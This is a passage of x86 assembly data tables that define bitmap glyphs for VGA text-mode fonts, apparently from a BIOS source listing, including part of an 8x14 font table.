db 038h, 06ch, 0c6h, 0c6h, 06ch, 06ch, 0eeh, 000h, 01ch, 030h, 018h, 07ch, 0cch, 0cch, 078h, 000h
db 000h, 000h, 07eh, 0dbh, 0dbh, 07eh, 000h, 000h, 006h, 00ch, 07eh, 0dbh, 0dbh, 07eh, 060h, 0c0h
db 038h, 060h, 0c0h, 0f8h, 0c0h, 060h, 038h, 000h, 078h, 0cch, 0cch, 0cch, 0cch, 0cch, 0cch, 000h
db 000h, 0fch, 000h, 0fch, 000h, 0fch, 000h, 000h, 030h, 030h, 0fch, 030h, 030h, 000h, 0fch, 000h
db 060h, 030h, 018h, 030h, 060h, 000h, 0fch, 000h, 018h, 030h, 060h, 030h, 018h, 000h, 0fch, 000h
db 00eh, 01bh, 01bh, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 0d8h, 0d8h, 070h
db 030h, 030h, 000h, 0fch, 000h, 030h, 030h, 000h, 000h, 076h, 0dch, 000h, 076h, 0dch, 000h, 000h
db 038h, 06ch, 06ch, 038h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 018h, 018h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 018h, 000h, 000h, 000h, 00fh, 00ch, 00ch, 00ch, 0ech, 06ch, 03ch, 01ch
db 078h, 06ch, 06ch, 06ch, 06ch, 000h, 000h, 000h, 070h, 018h, 030h, 060h, 078h, 000h, 000h, 000h
db 000h, 000h, 03ch, 03ch, 03ch, 03ch, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
_vgafont14: ; 0xc5bed LB 0xe00
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 07eh, 081h, 0a5h, 081h, 081h, 0bdh, 099h, 081h, 07eh, 000h, 000h, 000h, 000h, 000h, 07eh, 0ffh
db 0dbh, 0ffh, 0ffh, 0c3h, 0e7h, 0ffh, 07eh, 000h, 000h, 000h, 000h, 000h, 000h, 06ch, 0feh, 0feh
db 0feh, 0feh, 07ch, 038h, 010h, 000h, 000h, 000h, 000h, 000h, 000h, 010h, 038h, 07ch, 0feh, 07ch
db 038h, 010h, 000h, 000h, 000h, 000h, 000h, 000h, 018h, 03ch, 03ch, 0e7h, 0e7h, 0e7h, 018h, 018h
db 03ch, 000h, 000h, 000h, 000h, 000h, 018h, 03ch, 07eh, 0ffh, 0ffh, 07eh, 018h, 018h, 03ch, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 018h, 03ch, 03ch, 018h, 000h, 000h, 000h, 000h, 000h
db 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0e7h, 0c3h, 0c3h, 0e7h, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 000h, 000h
db 000h, 000h, 03ch, 066h, 042h, 042h, 066h, 03ch, 000h, 000h, 000h, 000h, 0ffh, 0ffh, 0ffh, 0ffh
db 0c3h, 099h, 0bdh, 0bdh, 099h, 0c3h, 0ffh, 0ffh, 0ffh, 0ffh, 000h, 000h, 01eh, 00eh, 01ah, 032h
db 078h, 0cch, 0cch, 0cch, 078h, 000h, 000h, 000h, 000h, 000h, 03ch, 066h, 066h, 066h, 03ch, 018h
db 07eh, 018h, 018h, 000h, 000h, 000h, 000h, 000h, 03fh, 033h, 03fh, 030h, 030h, 030h, 070h, 0f0h
db 0e0h, 000h, 000h, 000h, 000h, 000h, 07fh, 063h, 07fh, 063h, 063h, 063h, 067h, 0e7h, 0e6h, 0c0h
db 000h, 000h, 000h, 000h, 018h, 018h, 0dbh, 03ch, 0e7h, 03ch, 0dbh, 018h, 018h, 000h, 000h, 000h
db 000h, 000h, 080h, 0c0h, 0e0h, 0f8h, 0feh, 0f8h, 0e0h, 0c0h, 080h, 000h, 000h, 000h, 000h, 000h
db 002h, 006h, 00eh, 03eh, 0feh, 03eh, 00eh, 006h, 002h, 000h, 000h, 000h, 000h, 000h, 018h, 03ch
db 07eh, 018h, 018h, 018h, 07eh, 03ch, 018h, 000h, 000h, 000h, 000h, 000h, 066h, 066h, 066h, 066h
db 066h, 066h, 000h, 066h, 066h, 000h, 000h, 000h, 000h, 000h, 07fh, 0dbh, 0dbh, 0dbh, 07bh, 01bh
db 01bh, 01bh, 01bh, 000h, 000h, 000h, 000h, 07ch, 0c6h, 060h, 038h, 06ch, 0c6h, 0c6h, 06ch, 038h
db 00ch, 0c6h, 07ch, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0feh, 0feh, 0feh, 000h
db 000h, 000h, 000h, 000h, 018h, 03ch, 07eh, 018h, 018h, 018h, 07eh, 03ch, 018h, 07eh, 000h, 000h
db 000h, 000h, 018h, 03ch, 07eh, 018h, 018h, 018h, 018h, 018h, 018h, 000h, 000h, 000h, 000h, 000h
db 018h, 018h, 018h, 018h, 018h, 018h, 07eh, 03ch, 018h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 018h, 00ch, 0feh, 00ch, 018h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 030h, 060h
db 0feh, 060h, 030h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0c0h, 0c0h, 0c0h
db 0feh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 028h, 06ch, 0feh, 06ch, 028h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 010h, 038h, 038h, 07ch, 07ch, 0feh, 0feh, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 0feh, 0feh, 07ch, 07ch, 038h, 038h, 010h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 018h, 03ch, 03ch, 03ch, 018h, 018h, 000h, 018h, 018h, 000h, 000h, 000h, 000h, 066h, 066h, 066h
db 024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 06ch, 06ch, 0feh, 06ch
db 06ch, 06ch, 0feh, 06ch, 06ch, 000h, 000h, 000h, 018h, 018h, 07ch, 0c6h, 0c2h, 0c0h, 07ch, 006h
db 086h, 0c6h, 07ch, 018h, 018h, 000h, 000h, 000h, 000h, 000h, 0c2h, 0c6h, 00ch, 018h, 030h, 066h
db 0c6h, 000h, 000h, 000h, 000h, 000h, 038h, 06ch, 06ch, 038h, 076h, 0dch, 0cch, 0cch, 076h, 000h
db 000h, 000h, 000h, 030h, 030h, 030h, 060h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 00ch, 018h, 030h, 030h, 030h, 030h, 030h, 018h, 00ch, 000h, 000h, 000h, 000h, 000h
db 030h, 018h, 00ch, 00ch, 00ch, 00ch, 00ch, 018h, 030h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 066h, 03ch, 0ffh, 03ch, 066h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 018h, 018h
db 07eh, 018h, 018h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 018h, 018h, 018h, 030h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0feh, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 018h, 018h, 000h
db 000h, 000h, 000h, 000h, 002h, 006h, 00ch, 018h, 030h, 060h, 0c0h, 080h, 000h, 000h, 000h, 000h
db 000h, 000h, 07ch, 0c6h, 0ceh, 0deh, 0f6h, 0e6h, 0c6h, 0c6h, 07ch, 000h, 000h, 000h, 000h, 000h
db 018h, 038h, 078h, 018h, 018h, 018h, 018h, 018h, 07eh, 000h, 000h, 000h, 000h, 000h, 07ch, 0c6h
db 006h, 00ch, 018h, 030h, 060h, 0c6h, 0feh, 000h, 000h, 000h, 000h, 000h, 07ch, 0c6h, 006h, 006h
db 03ch, 006h, 006h, 0c6h, 07ch, 000h, 000h, 000h, 000h, 000h, 00ch, 01ch, 03ch, 06ch, 0cch, 0feh
db 00ch, 00ch, 01eh, 000h, 000h, 000h, 000h, 000h, 0feh, 0c0h, 0c0h, 0c0h, 0fch, 006h, 006h, 0c6h
db 07ch, 000h, 000h, 000h, 000h, 000h, 038h, 060h, 0c0h, 0c0h, 0fch, 0c6h, 0c6h, 0c6h, 07ch, 000h
db 000h, 000h, 000h, 000h, 0feh, 0c6h, 006h, 00ch, 018h, 030h, 030h, 030h, 030h, 000h, 000h, 000h
db 000h, 000h, 07ch, 0c6h, 0c6h, 0c6h, 07ch, 0c6h, 0c6h, 0c6h, 07ch, 000h, 000h, 000h, 000h, 000h
db 07ch, 0c6h, 0c6h, 0c6h, 07eh, 006h, 006h, 00ch, 078h, 000h, 000h, 000h, 000h, 000h, 000h, 018h
db 018h, 000h, 000h, 000h, 018h, 018h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 018h, 018h, 000h
db 000h, 000h, 018h, 018h, 030h, 000h, 000h, 000h, 000h, 000h, 006h, 00ch, 018h, 030h, 060h, 030h
db 018h, 00ch, 006h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 07eh, 000h, 000h, 07eh, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 060h, 030h, 018h, 00ch, 006h, 00ch, 018h, 030h, 060h, 000h
db 000h, 000h, 000h, 000h, 07ch, 0c6h, 0c6h, 00ch, 018h, 018h, 000h, 018h, 018h, 000h, 000h, 000h
db 000h, 000h, 07ch, 0c6h, 0c6h, 0deh, 0deh, 0deh, 0dch, 0c0h, 07ch, 000h, 000h, 000h, 000h, 000h
db 010h, 038h, 06ch, 0c6h, 0c6h, 0feh, 0c6h, 0c6h, 0c6h, 000h, 000h, 000h, 000h, 000h, 0fch, 066h
db 066h, 066h, 07ch, 066h, 066h, 066h, 0fch, 000h, 000h, 000h, 000h, 000h, 03ch, 066h, 0c2h, 0c0h
db 0c0h, 0c0h, 0c2h, 066h, 03ch, 000h, 000h, 000h, 000h, 000h, 0f8h, 06ch, 066h, 066h, 066h, 066h
db 066h, 06ch, 0f8h, 000h, 000h, 000h, 000h, 000h, 0feh, 066h, 062h, 068h, 078h, 068h, 062h, 066h
db 0feh, 000h, 000h, 000h, 000h, 000h, 0feh, 066h, 062h, 068h, 078h, 068h, 060h, 060h, 0f0h, 000h
db 000h, 000h, 000h, 000h, 03ch, 066h, 0c2h, 0c0h, 0c0h, 0deh, 0c6h, 066h, 03ah, 000h, 000h, 000h
db 000h, 000h, 0c6h, 0c6h, 0c6h, 0c6h, 0feh, 0c6h, 0c6h, 0c6h, 0c6h, 000h, 000h, 000h, 000h, 000h
db 03ch, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 03ch, 000h, 000h, 000h, 000h, 000h, 01eh, 00ch
db 00ch, 00ch, 00ch, 00ch, 0cch, 0cch, 078h, 000h, 000h, 000h, 000h, 000h, 0e6h, 066h, 06ch, 06ch
db 078h, 06ch, 06ch, 066h, 0e6h, 000h, 000h, 000h, 000h, 000h, 0f0h, 060h, 060h, 060h, 060h, 060h
db 062h, 066h, 0feh, 000h, 000h, 000h, 000h, 000h, 0c6h, 0eeh, 0feh, 0feh, 0d6h, 0c6h, 0c6h, 0c6h
db 0c6h, 000h, 000h, 000h, 000h, 000h, 0c6h, 0e6h, 0f6h, 0feh, 0deh, 0ceh, 0c6h, 0c6h, 0c6h, 000h
db 000h, 000h, 000h, 000h, 038h, 06ch, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 06ch, 038h, 000h, 000h, 000h
db 000h, 000h, 0fch, 066h, 066h, 066h, 07ch, 060h, 060h, 060h, 0f0h, 000h, 000h, 000h, 000h, 000h
db 07ch, 0c6h, 0c6h, 0c6h, 0c6h, 0d6h, 0deh, 07ch, 00ch, 00eh, 000h, 000h, 000h, 000h, 0fch, 066h
db 066h, 066h, 07ch, 06ch, 066h, 066h, 0e6h, 000h, 000h, 000h, 000h, 000h, 07ch, 0c6h, 0c6h, 060h
db 038h, 00ch, 0c6h, 0c6h, 07ch, 000h, 000h, 000h, 000h, 000h, 07eh, 07eh, 05ah, 018h, 018h, 018h
db 018h, 018h, 03ch, 000h, 000h, 000h, 000h, 000h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h
db 07ch, 000h, 000h, 000h, 000h, 000h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 06ch, 038h, 010h, 000h
db 000h, 000h, 000h, 000h, 0c6h, 0c6h, 0c6h, 0c6h, 0d6h, 0d6h, 0feh, 07ch, 06ch, 000h, 000h, 000h
db 000h, 000h, 0c6h, 0c6h, 06ch, 038h, 038h, 038h, 06ch, 0c6h, 0c6h, 000h, 000h, 000h, 000h, 000h
db 066h, 066h, 066h, 066h, 03ch, 018h, 018h, 018h, 03ch, 000h, 000h, 000h, 000h, 000h, 0feh, 0c6h
db 08ch, 018h, 030h, 060h, 0c2h, 0c6h, 0feh, 000h, 000h, 000h, 000h, 000h, 03ch, 030h, 030h, 030h
db 030h, 030h, 030h, 030h, 03ch, 000h, 000h, 000h, 000h, 000h, 080h, 0c0h, 0e0h, 070h, 038h, 01ch
db 00eh, 006h, 002h, 000h, 000h, 000h, 000h, 000h, 03ch, 00ch, 00ch, 00ch, 00ch, 00ch, 00ch, 00ch
db 03ch, 000h, 000h, 000h, 010h, 038h, 06ch, 0c6h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0ffh, 000h
db 030h, 030h, 018h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 078h, 00ch, 07ch, 0cch, 0cch, 076h, 000h, 000h, 000h, 000h, 000h, 0e0h, 060h
db 060h, 078h, 06ch, 066h, 066h, 066h, 07ch, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 07ch
db 0c6h, 0c0h, 0c0h, 0c6h, 07ch, 000h, 000h, 000h, 000h, 000h, 01ch, 00ch, 00ch, 03ch, 06ch, 0cch
db 0cch, 0cch, 076h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 07ch, 0c6h, 0feh, 0c0h, 0c6h
db 07ch, 000h, 000h, 000h, 000h, 000h, 038h, 06ch, 064h, 060h, 0f0h, 060h, 060h, 060h, 0f0h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 076h, 0cch, 0cch, 0cch, 07ch, 00ch, 0cch, 078h, 000h
db 000h, 000h, 0e0h, 060h, 060h, 06ch, 076h, 066h, 066h, 066h, 0e6h, 000h, 000h, 000h, 000h, 000h
db 018h, 018h, 000h, 038h, 018h, 018h, 018h, 018h, 03ch, 000h, 000h, 000h, 000h, 000h, 006h, 006h
db 000h, 00eh, 006h, 006h, 006h, 006h, 066h, 066h, 03ch, 000h, 000h, 000h, 0e0h, 060h, 060h, 066h
db 06ch, 078h, 06ch, 066h, 0e6h, 000h, 000h, 000h, 000h, 000h, 038h, 018h, 018h, 018h, 018h, 018h
db 018h, 018h, 03ch, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0ech, 0feh, 0d6h, 0d6h, 0d6h
db 0c6h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0dch, 066h, 066h, 066h, 066h, 066h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 07ch, 0c6h, 0c6h, 0c6h, 0c6h, 07ch, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 0dch, 066h, 066h, 066h, 07ch, 060h, 060h, 0f0h, 000h, 000h, 000h
db 000h, 000h, 000h, 076h, 0cch, 0cch, 0cch, 07ch, 00ch, 00ch, 01eh, 000h, 000h, 000h, 000h, 000h
db 000h, 0dch, 076h, 066h, 060h, 060h, 0f0h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 07ch
db 0c6h, 070h, 01ch, 0c6h, 07ch, 000h, 000h, 000h, 000h, 000h, 010h, 030h, 030h, 0fch, 030h, 030h
db 030h, 036h, 01ch, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0cch, 0cch, 0cch, 0cch, 0cch
db 076h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 066h, 066h, 066h, 066h, 03ch, 018h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0c6h, 0c6h, 0d6h, 0d6h, 0feh, 06ch, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 0c6h, 06ch, 038h, 038h, 06ch, 0c6h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 0c6h, 0c6h, 0c6h, 0c6h, 07eh, 006h, 00ch, 0f8h, 000h, 000h, 000h, 000h, 000h
db 000h, 0feh, 0cch, 018h, 030h, 066h, 0feh, 000h, 000h, 000h, 000h, 000h, 00eh, 018h, 018h, 018h
db 070h, 018h, 018h, 018h, 00eh, 000h, 000h, 000h, 000h, 000h, 018h, 018h, 018h, 018h, 000h, 018h
db 018h, 018h, 018h, 000h, 000h, 000h, 000h, 000h, 070h, 018h, 018h, 018h, 00eh, 018h, 018h, 018h
db 070h, 000h, 000h, 000h, 000h, 000h, 076h, 0dch, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 010h, 038h, 06ch, 0c6h, 0c6h, 0feh, 000h, 000h, 000h, 000h
db 000h, 000h, 03ch, 066h, 0c2h, 0c0h, 0c0h, 0c2h, 066h, 03ch, 00ch, 006h, 07ch, 000h, 000h, 000h
db 0cch, 0cch, 000h, 0cch, 0cch, 0cch, 0cch, 0cch, 076h, 000h, 000h, 000h, 000h, 00ch, 018h, 030h
db 000h, 07ch, 0c6h, 0feh, 0c0h, 0c6h, 07ch, 000h, 000h, 000h, 000h, 010h, 038h, 06ch, 000h, 078h
db 00ch, 07ch, 0cch, 0cch, 076h, 000h, 000h, 000h, 000h, 000h, 0cch, 0cch, 000h, 078h, 00ch, 07ch
db 0cch, 0cch, 076h, 000h, 000h, 000h, 000h, 060h, 030h, 018h, 000h, 078h, 00ch, 07ch, 0cch, 0cch
db 076h, 000h, 000h, 000h, 000h, 038h, 06ch, 038h, 000h, 078h, 00ch, 07ch, 0cch, 0cch, 076h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 03ch, 066h, 060h, 066h, 03ch, 00ch, 006h, 03ch, 000h, 000h
db 000h, 010h, 038h, 06ch, 000h, 07ch, 0c6h, 0feh, 0c0h, 0c6h, 07ch, 000h, 000h, 000h, 000h, 000h
db 0cch, 0cch, 000h, 07ch, 0c6h, 0feh, 0c0h, 0c6h, 07ch, 000h, 000h, 000h, 000h, 060h, 030h, 018h
db 000h, 07ch, 0c6h, 0feh, 0c0h, 0c6h, 07ch, 000h, 000h, 000h, 000h, 000h, 066h, 066h, 000h, 038h
db 018h, 018h, 018h, 018h, 03ch, 000h, 000h, 000h, 000h, 018h, 03ch, 066h, 000h, 038h, 018h, 018h
db 018h, 018h, 03ch, 000h, 000h, 000h, 000h, 060h, 030h, 018h, 000h, 038h, 018h, 018h, 018h, 018h
db 03ch, 000h, 000h, 000h, 000h, 0c6h, 0c6h, 010h, 038h, 06ch, 0c6h, 0c6h, 0feh, 0c6h, 0c6h, 000h
db 000h, 000h, 038h, 06ch, 038h, 000h, 038h, 06ch, 0c6h, 0c6h, 0feh, 0c6h, 0c6h, 000h, 000h, 000h
db 018h, 030h, 060h, 000h, 0feh, 066h, 060h, 07ch, 060h, 066h, 0feh, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 0cch, 076h, 036h, 07eh, 0d8h, 0d8h, 06eh, 000h, 000h, 000h, 000h, 000h, 03eh, 06ch
db 0cch, 0cch, 0feh, 0cch, 0cch, 0cch, 0ceh, 000h, 000h, 000h, 000h, 010h, 038h, 06ch, 000h, 07ch
db 0c6h, 0c6h, 0c6h, 0c6h, 07ch, 000h, 000h, 000h, 000h, 000h, 0c6h, 0c6h, 000h, 07ch, 0c6h, 0c6h
db 0c6h, 0c6h, 07ch, 000h, 000h, 000h, 000h, 060h, 030h, 018h, 000h, 07ch, 0c6h, 0c6h, 0c6h, 0c6h
db 07ch, 000h, 000h, 000h, 000h, 030h, 078h, 0cch, 000h, 0cch, 0cch, 0cch, 0cch, 0cch, 076h, 000h
db 000h, 000h, 000h, 060h, 030h, 018h, 000h, 0cch, 0cch, 0cch, 0cch, 0cch, 076h, 000h, 000h, 000h
db 000h, 000h, 0c6h, 0c6h, 000h, 0c6h, 0c6h, 0c6h, 0c6h, 07eh, 006h, 00ch, 078h, 000h, 000h, 0c6h
db 0c6h, 038h, 06ch, 0c6h, 0c6h, 0c6h, 0c6h, 06ch, 038h, 000h, 000h, 000h, 000h, 0c6h, 0c6h, 000h
db 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 07ch, 000h, 000h, 000h, 000h, 018h, 018h, 03ch, 066h, 060h
db 060h, 066h, 03ch, 018h, 018h, 000h, 000h, 000h, 000h, 038h, 06ch, 064h, 060h, 0f0h, 060h, 060h
db 060h, 0e6h, 0fch, 000h, 000h, 000h, 000h, 000h, 066h, 066h, 03ch, 018h, 07eh, 018h, 07eh, 018h
db 018h, 000h, 000h, 000h, 000h, 0f8h, 0cch, 0cch, 0f8h, 0c4h, 0cch, 0deh, 0cch, 0cch, 0c6h, 000h
db 000h, 000h, 000h, 00eh, 01bh, 018h, 018h, 018h, 07eh, 018h, 018h, 018h, 018h, 0d8h, 070h, 000h
db 000h, 018h, 030h, 060h, 000h, 078h, 00ch, 07ch, 0cch, 0cch, 076h, 000h, 000h, 000h, 000h, 00ch
db 018h, 030h, 000h, 038h, 018h, 018h, 018h, 018h, 03ch, 000h, 000h, 000h, 000h, 018h, 030h, 060h
db 000h, 07ch, 0c6h, 0c6h, 0c6h, 0c6h, 07ch, 000h, 000h, 000h, 000h, 018h, 030h, 060h, 000h, 0cch
db 0cch, 0cch, 0cch, 0cch, 076h, 000h, 000h, 000h, 000h, 000h, 076h, 0dch, 000h, 0dch, 066h, 066h
db 066h, 066h, 066h, 000h, 000h, 000h, 076h, 0dch, 000h, 0c6h, 0e6h, 0f6h, 0feh, 0deh, 0ceh, 0c6h
db 0c6h, 000h, 000h, 000h, 000h, 03ch, 06ch, 06ch, 03eh, 000h, 07eh, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 038h, 06ch, 06ch, 038h, 000h, 07ch, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 030h, 030h, 000h, 030h, 030h, 060h, 0c6h, 0c6h, 07ch, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 0feh, 0c0h, 0c0h, 0c0h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 0feh, 006h, 006h, 006h, 000h, 000h, 000h, 000h, 000h, 0c0h, 0c0h, 0c6h, 0cch, 0d8h
db 030h, 060h, 0dch, 086h, 00ch, 018h, 03eh, 000h, 000h, 0c0h, 0c0h, 0c6h, 0cch, 0d8h, 030h, 066h
db 0ceh, 09eh, 03eh, 006h, 006h, 000h, 000h, 000h, 018h, 018h, 000h, 018h, 018h, 03ch, 03ch, 03ch
db 018h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 036h, 06ch, 0d8h, 06ch, 036h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 0d8h, 06ch, 036h, 06ch, 0d8h, 000h, 000h, 000h, 000h, 000h
db 011h, 044h, 011h, 044h, 011h, 044h, 011h, 044h, 011h, 044h, 011h, 044h, 011h, 044h, 055h, 0aah
db 055h, 0aah, 055h, 0aah, 055h, 0aah, 055h, 0aah, 055h, 0aah, 055h, 0aah, 0ddh, 077h, 0ddh, 077h
db 0ddh, 077h, 0ddh, 077h, 0ddh, 077h, 0ddh, 077h, 0ddh, 077h, 018h, 018h, 018h, 018h, 018h, 018h
db 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 0f8h
db 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 0f8h, 018h, 0f8h, 018h, 018h
db 018h, 018h, 018h, 018h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 0f6h, 036h, 036h, 036h, 036h
db 036h, 036h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0feh, 036h, 036h, 036h, 036h, 036h, 036h
db 000h, 000h, 000h, 000h, 000h, 0f8h, 018h, 0f8h, 018h, 018h, 018h, 018h, 018h, 018h, 036h, 036h
db 036h, 036h, 036h, 0f6h, 006h, 0f6h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h
db 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 000h, 000h, 000h, 000h, 000h, 0feh
db 006h, 0f6h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 0f6h, 006h, 0feh
db 000h, 000h, 000h, 000h, 000h, 000h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 0feh, 000h, 000h
db 000h, 000h, 000h, 000h, 018h, 018h, 018h, 018h, 018h, 0f8h, 018h, 0f8h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0f8h, 018h, 018h, 018h, 018h, 018h, 018h
db 018h, 018h, 018h, 018h, 018h, 018h, 018h, 01fh, 000h, 000h, 000h, 000h, 000h, 000h, 018h, 018h
db 018h, 018h, 018h, 018h, 018h, 0ffh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 0ffh, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h
db 018h, 01fh, 018h, 018h, 018h, 018h, 018h, 018h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0ffh
db 000h, 000h, 000h, 000h, 000h, 000h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 0ffh, 018h, 018h
db 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 01fh, 018h, 01fh, 018h, 018h, 018h, 018h
db 018h, 018h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 037h, 036h, 036h, 036h, 036h, 036h, 036h
db 036h, 036h, 036h, 036h, 036h, 037h, 030h, 03fh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 03fh, 030h, 037h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h
db 036h, 0f7h, 000h, 0ffh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0ffh
db 000h, 0f7h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 037h, 030h, 037h
db 036h, 036h, 036h, 036h, 036h, 036h, 000h, 000h, 000h, 000h, 000h, 0ffh, 000h, 0ffh, 000h, 000h
db 000h, 000h, 000h, 000h, 036h, 036h, 036h, 036h, 036h, 0f7h, 000h, 0f7h, 036h, 036h, 036h, 036h
db 036h, 036h, 018h, 018h, 018h, 018h, 018h, 0ffh, 000h, 0ffh, 000h, 000h, 000h, 000h, 000h, 000h
db 036h, 036h, 036h, 036h, 036h, 036h, 036h, 0ffh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 0ffh, 000h, 0ffh, 018h, 018h, 018h, 018h, 018h, 018h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 0ffh, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h
db 036h, 03fh, 000h, 000h, 000h, 000h, 000h, 000h, 018h, 018h, 018h, 018h, 018h, 01fh, 018h, 01fh
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 01fh, 018h, 01fh, 018h, 018h
db 018h, 018h, 018h, 018h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 03fh, 036h, 036h, 036h, 036h
db 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 0ffh, 036h, 036h, 036h, 036h, 036h, 036h
db 018h, 018h, 018h, 018h, 018h, 0ffh, 018h, 0ffh, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h
db 018h, 018h, 018h, 018h, 018h, 0f8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 01fh, 018h, 018h, 018h, 018h, 018h, 018h, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh
db 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0ffh
db 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0f0h, 0f0h, 0f0h, 0f0h, 0f0h, 0f0h, 0f0h, 0f0h, 0f0h, 0f0h
db 0f0h, 0f0h, 0f0h, 0f0h, 00fh, 00fh, 00fh, 00fh, 00fh, 00fh, 00fh, 00fh, 00fh, 00fh, 00fh, 00fh
db 00fh, 00fh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 076h, 0dch, 0d8h, 0d8h, 0dch, 076h, 000h, 000h, 000h, 000h, 000h
